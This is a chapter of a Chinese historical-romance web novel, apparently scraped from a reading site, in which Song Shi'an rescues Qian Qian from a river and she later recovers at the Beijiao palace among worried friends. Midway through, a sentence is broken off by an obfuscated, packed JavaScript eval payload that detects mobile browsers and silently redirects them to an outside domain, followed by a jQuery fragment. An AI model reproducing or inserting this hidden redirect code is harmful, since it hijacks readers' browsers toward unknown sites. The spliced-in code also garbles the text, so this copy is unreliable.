默认冷灰
24号文字
方正启体

88. 北郊行宫12

作者:弃岸本书字数:K更新时间:
    等等……


    梦里还可以回忆的吗?


    梦中的人知道自己在回忆吗?


    这真的是梦吗?


    钱浅狐疑抬头,宋十安眸光似水凝望过来,眼底是化不开的温柔。


    她迟疑地伸手拧了下自己。


    怎么回事?


    居然会疼?


    什么情况!


    她猛地坐起身,这才发现身上穿的衣裳都不是她自己的,一时间彷如五雷轰顶!


    钱浅吓得魂飞魄散,连滚带爬地逃出宋十安的怀抱,后知后觉地发现,宽大的衣裳里内里空空荡荡!而盘腿坐在地上的宋十安,浑身上下却只有一条裤子!


    “你对我做了什么!”


    沙哑的质问声里暴怒难抑,钱浅感觉震惊和愤怒几乎要冲破血管,太阳穴砰砰狂跳,眼前直冒金星!


    显然她突然起身,让宋十安麻木的肢体疼痛难忍,好看的五官都拧皱在一起了。


    他闻言先是愣住,随即表情崩裂,干涩的声音急急挤出嗓间:“我没有!”


    “你等等,让我捋捋!我捋一捋……”


    在他呆傻的片刻,钱浅出走的神智已然回炉,只是有些头晕目眩。她扶着一旁树拢紧衣服,回忆着之前发生的事。


    她在行宫,有贼匪来袭,逃跑,受伤落水。


    从眼下的情况看,她显然是没死。


    宋十安为什么会在这?


    据她所知,行宫安全是由禁军负责的。


    是了,行宫出了事,宋十安率军前来营救也是正常的。


    可他为何偏偏救了自己?


    还有现在,这是个什么情况?为何我被扒光了?难不成宋十安是个趁人之危的色鬼?


    不至于吧?他想要的话,什么样的女人没有?


    先前跑开时,从衣裳里掉下的白布条上还带着暗红色的血迹,这……应该是她的经血吧?


    可为何浑身上下都酸疼难忍?她还来着月事呢,他不会这么丧心病狂吧?


    她原本的衣裳都挂在树枝上,连贴身的小衣和亵裤都展开挂着,是在……晾干吗?


    那他扒光她,或许是在救她?


    宋十安看她满脸狐疑地转着眼睛,生怕她胡思乱想,“你听我解释……”


    “我问你答!”钱浅强硬打断,决定先行主动权,“你只需回答是或不是。”


    “好。”


    “我昨日受伤落水,是你救了我?”


    “是。”


    “你是因为我衣裳都湿透了,才给我换上你的衣裳?”


    “是。”


    “你没对我做什么,是吧?”


    宋十安脸有些红,急切辩解:“我真的没有!我……”


    “我知道。”钱浅抬手制止他,“宋侯是个正人君子,绝不会趁人之危的。”


    听到“宋侯”二字,宋十安脸色白了下去。


    她还是不愿与他相认。


    钱浅继续问:“你为何不将我带回行宫?行宫乱子很大吗?”


    宋十安垂下眸子,解释道:“我带了援军赶至,行宫的危机应当已经解除了。只是此地距行宫太远,密林丛生,马也进不来。我找到你时,你浑身冰冷,脉搏微弱。我怕一时回不到行宫,想着还是应该先为你恢复体温……”


    “明白了。”


    钱浅再次打断他,强势道:“宋侯是为救我,情急之下迫不得已才出此下策,我不会不知好歹的。但此事终究关乎我的名节,还望宋侯日后莫要对旁人提起。”


    宋十安没有半句怨言,轻轻点头:“好。”


    他还是那个如玉君子,钱浅心头一软,语气也跟着软了,“还麻烦宋侯背过身去,容在下换个衣裳。”


    宋十安抬头劝道:“你的衣裳或许还未干透,不用着急……”


    钱浅婉拒:“无妨的。若穿着宋侯的衣裳被人瞧见,难免会惹出些闲言碎语,增添不必要的麻烦。”


    宋十安闻言立即想到了云王,心里一阵酸楚涌上来,却什么都没说,依言转身闭上眼睛。


    有火烘着,大部分衣裳都干了,只有外衣摸着还有些潮。


    钱浅身上酸疼的厉害,头晕不说,眼前还阵阵发黑。靠着树换完衣裳,就已累得气喘吁吁。


    宋十安一直背着身没动,突然说:“旁边有我里衣撕成的布条,若不嫌弃,可以将就着用。”


    钱浅窘迫地道了声谢,拾起布条垫在了裤子里。


    “我换好了,宋侯也把衣服穿上吧!”


    宋十安的腿脚已经活动开了,麻利地将衣裳穿上,见钱浅摸着鞋皱眉,连忙说:“鞋还湿着,别穿了。我背你回去吧!”


    钱浅当即拒绝:“不用不用。宋侯救命之恩在下已感激不尽,接下来就不劳宋侯费心了。”


    宋十安嘴唇动了动,又咽了回去,脱下自己的鞋说:“那你穿我的鞋走吧!”


    钱浅后退一步再次拒绝:“不不不,真的不用麻烦了。多谢宋侯!”


    她趿拉上自己的湿鞋,赶紧找路就走。


    宋十安刚想提醒她走错方向了,就见她身形一晃,再次晕倒了。


    “钱浅!”宋十安赶紧上前将她抱起来,手触及她的额头,发现这次不是凉,而是热,热到发烫。


    他赶紧扑灭火堆的余火,小心地抱着人走出密林。


    也是巧了,刚走出密林,云王、姚菁菁正带着上百人沿河寻找钱浅。


    “逍遥!”


    王宥川看到他怀里的人飞快冲上来,双目通红直接上来抢人。


    宋十安不愿撒手,二人的动作有些僵持。


    而后赶到的姚菁菁奇怪地看着他,行礼客套道:“多谢宋侯救了我与云王的挚友,改日我等必定登门拜谢!”


    宋十安突然好像没有立场不放,只得松了手。


    王宥川接过人,难得对宋十安收敛敌意,郑重颔首:“多谢你了。”


    宋十安眼睁睁看着他们将钱浅带走,难受得好像有一万根针在戳他的心。


    不过两年光景,一切都变了。


    钱浅再睁开眼时,天都黑了,还没反应过来,就听见姚菁菁激动的叫声。


    “醒了!逍遥醒了!”


    钱浅打量着周围,哑着嗓子问:“这是,在哪?”


    王宥川的脑袋凑上来,软着声调说:“咱们还在北郊行宫。你受了伤,又着了寒,还发了高热,太医说让你养几日,待身子好些再回城。”


    钱浅挣扎着想起身,“不行,我妹妹会担心的……”


    姚菁菁赶紧按住她:“我已经派人去告诉绵绵了。你放心,没说你受伤的事,只说你来了月事身体不适,要迟两天再回去。”


    钱浅这才松口气,转而又问:“戚河呢?他怎么样了?还有沈望尘,我没找见他们。”


    姚菁菁与王宥川对视


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957871|169516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一眼,姚菁菁说:“戚河伤得不轻,但也不算太重,已经医治过了,好好养些日子就没事了。沈望尘……”


    钱浅心里一紧:“他怎么了?”


    姚菁菁声音有些沉重:“他为救太女殿下和几位皇子皇女,被贼人伤得极重,到现在还没醒。太医说……很凶险。”


    钱浅听到这个回答心中却升起疑团。


    沈望尘不像是个会舍己救人的人啊!他先前为了跟云王套近乎不惜使用苦肉计,这次该不会也是吧?不能啊,若是苦肉计这也太拼了。难不成,他也察觉了复活的秘密?


    姚菁菁以为她在忧心沈望尘,赶忙劝说:“你别太担心了,他那么爱吃爱玩的人,肯定舍不得死!太医说你十分虚弱,先养好自己更为重要,别忧心别人了,对你身子不好。”


    王宥川也劝说:“表兄他一定能撑过来的。”


    徐祥端来药,王宥川接过吹了吹,“先把药喝了。我特意叮嘱过太医,不会很苦的。”


    徐祥也说:“姑娘放心,甜茶也备好了。”


    宋十安看着眼前的一幕心里很不是滋味儿。所有人都知道她怕苦,也都知道她月事会痛极,没有他,她也过得很好,有人关心、有人爱护。


    姚菁菁扶钱浅坐起身,钱浅这才看到宋十安也在。


    见她吃惊怔愣,姚菁菁解释道:“是宋侯救了你。宋侯处理完公事,便过来看你了。”


    钱浅自然知道是宋十安救了她,但显然宋十安没对人说起她醒过的事,于是颔首道:“多谢宋侯爷了。”


    姚菁菁喂她喝药,钱浅边喝边担心,宋十安该不会知道自己的身份了吧?


    应该不能吧?他又没见过自己的样貌。何况大家都习惯叫她逍遥,不会叫她钱浅的。


    他若是知道了肯定会问的,倒也没什么可怕的,不过是有点尴尬罢了。


    钱浅喝完药又喝了两口甜茶,徐祥又端了鸡丝粥来,她刚喝两口,徐芷兰便匆匆赶来了。


    一见她,徐芷兰的眼泪就下来了:“你可算醒了!你说说你,顾得上每一个人,让大家都上了船,自己却受伤跌进河里。你真是要急死我了!”


    姚菁菁说:“一听说你受伤落水,芷兰就哭了,直哭了一整晚,眼睛现在还肿着呢!”


    徐芷兰臊得慌,对姚菁菁嗔道:“好意思说我?你没哭?”


    姚菁菁逞强道:“我可没像你哭那么久!”


    钱浅听着她们说话,默默喝粥。


    原想着今生不欠,来世不见,孑然一身离开这世间,悄无声息就挺好。本来只有绵绵会为她的死伤心,后来又有了夏锦和陈亦庭,眼下又多了其他人,有种压力倍增的感觉。


    钱浅再度睡下,徐芷兰、姚菁菁、王宥川一起送宋十安出门。


    王宥川难得态度端正,向宋十安行了个大礼:“这次多谢宋侯了,改日定有重谢。”


    徐芷兰也向宋十安行礼:“多谢宋侯救了逍遥。逍遥是我极为重要之人,我欠宋侯一个人情,若宋侯有何要求或差遣,我必定尽力。”


    姚菁菁道:“我姚菁菁也欠宋侯你一个人情。”


    宋十安很想说她也是我最重要的人,可终究没能说出口,只说:“诸位不必如此,宋某担不起这声谢。”


    姚菁菁目送宋十安的背影,小声问徐芷兰:“他这话是什么意思?什么叫担不起?”


    徐芷兰摇摇头:“不明白。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)